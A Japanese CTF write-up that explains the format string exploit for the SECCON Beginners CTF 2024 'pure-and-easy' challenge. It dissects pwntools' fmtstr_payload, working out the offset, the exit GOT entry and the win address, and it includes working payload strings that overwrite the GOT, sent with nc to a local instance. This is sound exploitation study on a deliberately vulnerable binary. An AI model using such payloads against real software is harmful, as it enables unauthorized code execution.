はじめに
この記事はCTFにおける書式文字列攻撃(Format String Attack)を理解するために、pwntoolsのfmtstr_payloadを紐解いていく記録です。
題材はSECCON Beginners CTF 2024で出題されたpwnカテゴリ「pure-and-easy」です。
フォーマットストリングバグはCWE-134という脆弱性タイプで定義されており、最近でも緊急度の高い脆弱性に含まれていたりします。
目次
模範解答
下記のwriteupを参考にさせていただきました。
作門者writeup 公式の解法です。
kurenaif 動画で説明されています。
ゼオスTTのブログ 非常にシンプルなコードで書かれています。
問題環境
問題の中で提示された内容は以下になります。
- 接続先FQDN
- 接続先ポート
- 実行ファイル(chall)
- ソースファイル(src.c)
- Dockerfile
- compose.yml
脆弱性の判定等一部手順は省略しています。
フォーマットストリンバグの確認
- ソースファイルでprintf関数の引数で変数を直接参照していることを確認
int main() {
char buf[0x100] = {0};
printf("> ");
read(0, buf, 0xff);
printf(buf); <---
exit(0);
}
- 実行ファイルを逆アセンブルしwin関数の存在及びアドレスを確認
% objdump --syms chall | grep win
0000000000401341 g F .text 0000006c win
- 0x401341 このアドレスにジャンプできれば勝ち
オフセットを確認
- ここでのオフセットとは入力文字(ペイロード)が格納されるスタックの位置のこと
- chall(ELF64)の実行環境がなかったため付属のDockerを起動
% docker compose up
- オフセット確認用の文字列を作成
% python -c "print('A'*8 + ',%p' * 10)"
AAAAAAAA,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
-
%p はポインタの値を出力するが引数がなければレジスタ、スタックの値を出力する
-
オフセット確認用の文字列を入力
% nc localhost 9000
> AAAAAAAA,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p <---上で出力した内容をコピペ
AAAAAAAA,0x7ffdf5b90fb0,0xff,0x7fbc6e5caa61,0x2,0x7fbc6e6ca380,0x4141414141414141,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0xa70252c70252c
- Aのasciiコードである0x41の連続が6つ目なのでオフセットは6
このオフセットの確認はpwnlib.fmtstr.FmtStrで自動化可能
python3-pwntools
書き換え先のアドレス調査
- 書式文字列攻撃が成立するprintf関数の位置を確認し、その位置より後ろで書き換えが成立しそうな命令を探す
% objdump -M intel -d chall
00000000004011a6 <main>:
#省略
40131e: e8 4d fd ff ff call 401070 <read@plt>
401323: 48 8d 85 f0 fe ff ff lea rax,[rbp-0x110]
40132a: 48 89 c7 mov rdi,rax
40132d: b8 00 00 00 00 mov eax,0x0
401332: e8 19 fd ff ff call 401050 <printf@plt> <---
401337: bf 00 00 00 00 mov edi,0x0
40133c: e8 6f fd ff ff call 4010b0 <exit@plt> <---
セクション .plt の逆アセンブル:
00000000004010b0 <exit@plt>:
4010b0: ff 25 8a 2f 00 00 jmp QWORD PTR [rip+0x2f8a] # 404040 <exit@GLIBC_2.2.5>
4010b6: 68 08 00 00 00 push 0x8
4010bb: e9 60 ff ff ff jmp 401020 <_init+0x20>
- 今回はwin関数までジャンプするためにGOTを活用する
% objdump -M intel -R chall
chall: ファイル形式 elf64-x86-64
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
# 省略
0000000000404040 R_X86_64_JUMP_SLOT exit@GLIBC_2.2.5
- pwntoolsでも実行ファイルを読ませてアドレスを確認できる
% python3.10 -c "from pwn import *;
elf = ELF('./chall');
print(hex(elf.got['exit']))"
[*] './chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
0x404040
書式文字列攻撃ペイロード解析
- pwntoolsのfmtstrを使ってペイロードを作成します
- 事前に確認した①オフセット②書き換え対象アドレス③ジャンプ先関数アドレスが必要になります
from pwn import *
context.arch = 'amd64'
elf = ELF('chall')
with remote('localhost', 9000) as r:
writes_dict = {elf.got['exit']: elf.symbols['win']} <---2 3
payload = fmtstr_payload(6, writes_dict) <---1
r.sendlineafter(b'> ', payload)
ret = r.recvall()
print(ret)
print('fmtstr_payload: ' + str(payload))
print('exit.addr: ' + str(hex(elf.got['exit'])))
print('win.addr: ' + str(hex(elf.symbols['win'])))
- これでフラグがゲットできます
% python3.10 p.py
[+] Opening connection to localhost on port 9000: Done
[+] Receiving all data: Done (355B)
[*] Closed connection to localhost port 9000
b' \xd0 \xff aaaaaba@@@ctf4b{****}\n\nctf4b{****}\n\n'
fmtstr_payload: b'%65c%11$lln%210c%12$hhn%45c%13$hhnaaaaba@@@\x00\x00\x00\x00\x00A@@\x00\x00\x00\x00\x00B@@\x00\x00\x00\x00\x00'
exit.addr: 0x404040
win.addr: 0x401341
fmtstr_payloadはstrとhexが混在しているためうまく出力されませんが
fmtstr_splitを使うと書式文字列とアドレスを分割して出力できます。
- ペイロードが文字化けしてしまうので、wiresharkでパケットを確認して実際の値を確認します
- パケット上のペイロード
25363563253131246c6c6e25323130632531322468686e253435632531332468686e6161616162614040400000000000414040000000000042404000000000000a
- 前半に3つの%n書式がある
% echo '25363563253131246c6c6e25323130632531322468686e253435632531332468686e616161616261' | xxd -ps -r
%65c%11$lln%210c%12$hhn%45c%13$hhnaaaaba
^ ^ ^
- 後半は3つの64bitアドレスがある
% echo -e '4040400000000000414040000000000042404000000000000a' | fold -16
4040400000000000
4140400000000000
4240400000000000
0a <---これは改行
- 確認のためpwntoolsなしで再現してみる
% python -c 'print("%65c%11$lln%210c%12$hhn%45c%13$hhnaaaaba" + "\x40\x40\x40\x00\x00\x00\x00\x00" + "\x41\x40\x40\x00\x00\x00\x00\x00" + "\x42\x40\x40\x00\x00\x00\x00\x00")' | nc localhost 9000
> ? ? aaaaaba@@@ctf4b{****}
ctf4b{****}
- できた!
payloadの構成要素に分割
%65c%11$lln
%210c%12$hhn
%45c%13$hhn
aaaaba
\x40\x40\x40\x00\x00\x00\x00\x00
\x41\x40\x40\x00\x00\x00\x00\x00
\x42\x40\x40\x00\x00\x00\x00\x00
0a
- 各書式のおさらい
オプション | 意味 |
---|---|
%n | 整数変数に出力済み文字数を格納 |
%<数字>c | 最小フィールド幅 |
<数字>$ | 引数を指定する(ダイレクトパラメータアクセス) |
- 長さ修飾子
修飾子 | 意味 |
---|---|
%lln | 16byte |
%ln | 8byte |
%n | 4byte |
%hn | 2byte |
%hhn | 1byte |
- 引数の位置(オフセット)とペイロード
offset | hex | 値 |
---|---|---|
6 | 2536356325313124 | %65c%11$ |
7 | 6c6c6e2532313063 | lln%210c |
8 | 2531322468686e25 | %12$hhn% |
9 | 3435632531332468 | 45c%13$h |
10 | 686e616161616261 | hnaaaaba |
11 | 4040400000000000 | 0x0000000000404040 |
12 | 4140400000000000 | 0x0000000000404041 |
13 | 4240400000000000 | 0x0000000000404042 |
%65c%11$lln を見る
- 11番目の引数の場所へ16byteの長さで41を書き込む
- 11番目の引数は0x00000000404040となる
- 65は16進数に変換すると41になる
% printf %x 65
41
- win.addr: 0x401341 のうち41だけ書き込んでいる
%210c%12$hhn を見る
- 12番目の引数の場所へ1byteの長さで210+aを書き込む
- +aは前段で出力されたデータ分を加算する
- 12番目の引数は0x0000000000404041になる
% printf %x $((210 + 65))
113
- 1byte長としているので桁溢れは無視されて13になる
- win.addr: 0x401341 のうち13だけ書き込んでいる
%45c%13$hhn を見る
- 13番目の引数の場所へ1byteの長さで45+a+bを書き込む
- 13番目の引数は0x0000000000404042になる
% printf %x $((45 + 65 + 210))
140
- 1byte長としているので桁溢れは無視されて40になる
- win.addr: 0x401341 のうち40だけ書き込んでいる
それぞれ41,13,40を1byteづつずらしたアドレスへ書き込んでいる。
最初の書き込み
0x404040: 41
0x404041: 00
0x404042: 00
0x404043: 00
0x404044: 00
0x404045: 00
0x404046: 00
0x404047: 00
0x404048:
2回目の書き込み
0x404040: 41
0x404041: 13
0x404042: 00
0x404043: 00
0x404044: 00
0x404045: 00
0x404046: 00
0x404047: 00
0x404048:
3回目の書き込み
0x404040: 41
0x404041: 13
0x404042: 40
0x404043: 00
0x404044: 00
0x404045: 00
0x404046: 00
0x404047: 00
0x404048:
-
これで0x404040へ0x00000000401341(win)が書き込めた
-
aaaabaはアドレスまでを16byte区切りにするためのパディングに利用されている
なぜ3回に分けるのか?
- フィールド幅指定はサーバからの出力に影響する。3byte分(0x404040 = 4210752)のアドレスを10進数で入力しようとするとサーバからの応答もその分長くなってしまう
- 今回のように3回に分けてもサーバから出力されるスペースはそれなりにある(今回は320個ほど)
% python -c 'print("%65c%11$lln%210c%12$hhn%45c%13$hhnaaaaba" + "\x40\x40\x40\x00\x00\x00\x00\x00" + "\x41\x40\x40\x00\x00\x00\x00\x00" + "\x42\x40\x40\x00\x00\x00\x00\x00")' | nc localhost 9000
> ? ? aaaaaba@@@ctf4b{****}
ctf4b{****}
ペイロードを書く
2回で書き込むとどうなるか?
- 2つ目の長さ修飾子を2byteに変更
- 0x4013を10進にすると16403
- 16403から65を引いて16338
- 3つ目の書き込みを無くすためオフセットが2つずれる
- パディングを調整
%65c%9$lln
%16338c%10$hn
a
\x40\x40\x40\x00\x00\x00\x00\x00
\x41\x40\x40\x00\x00\x00\x00\x00
0a
offset | hex | 値 |
---|---|---|
6 | 253635632539246c | %65c%9$l |
7 | 6c6e253136333338 | ln%16338 |
8 | 6325313024686e61 | c%10$hna |
9 | 4040400000000000 | 0x0000000000404040 |
10 | 4140400000000000 | 0x0000000000404041 |
「%16338c%10$hn」を見る
- 10番目の引数の場所へ2byteの長さで16338+aを書き込む
- 10番目の引数は0x0000000000404041になる
% printf %x $((65 + 16338))
4013
- hnで2byte長にしているためそのまま4013が書き込まれる
41は同じ、4013は一回で書き込む
最初の書き込み
0x404040: 41
0x404041: 00
0x404042: 00
0x404043: 00
0x404044: 00
0x404045: 00
0x404046: 00
0x404047: 00
0x404048:
2回目の書き込み
0x404040: 41
0x404041: 13
0x404042: 40
0x404043: 00
0x404044: 00
0x404045: 00
0x404046: 00
0x404047: 00
0x404048:
- pythonから実行してみる
% python3.10 -c 'print("%65c%9$lln%16338c%10$hna" + "\x40\x40\x40\x00\x00\x00\x00\x00" + "\x41\x40\x40\x00\x00\x00\x00\x00")' | nc localhost 9000
> ? ?a@@@ctf4b{****}
ctf4b{****}
できた!
2byteで書き込みしたため膨大な量のスペースが出力されてしまいました。
これを避けるためにpwntoolsでは3回に分けているようです。
最後に
今回はセキュリティ(CTF)の勉強のためpwntoolsのfmtstr_payloadを紐解き改変を行いました。
FSB問題を解くにはpwntoolsに任せた方が簡単で早いですが、今後は手動でチャレンジしてみたいです。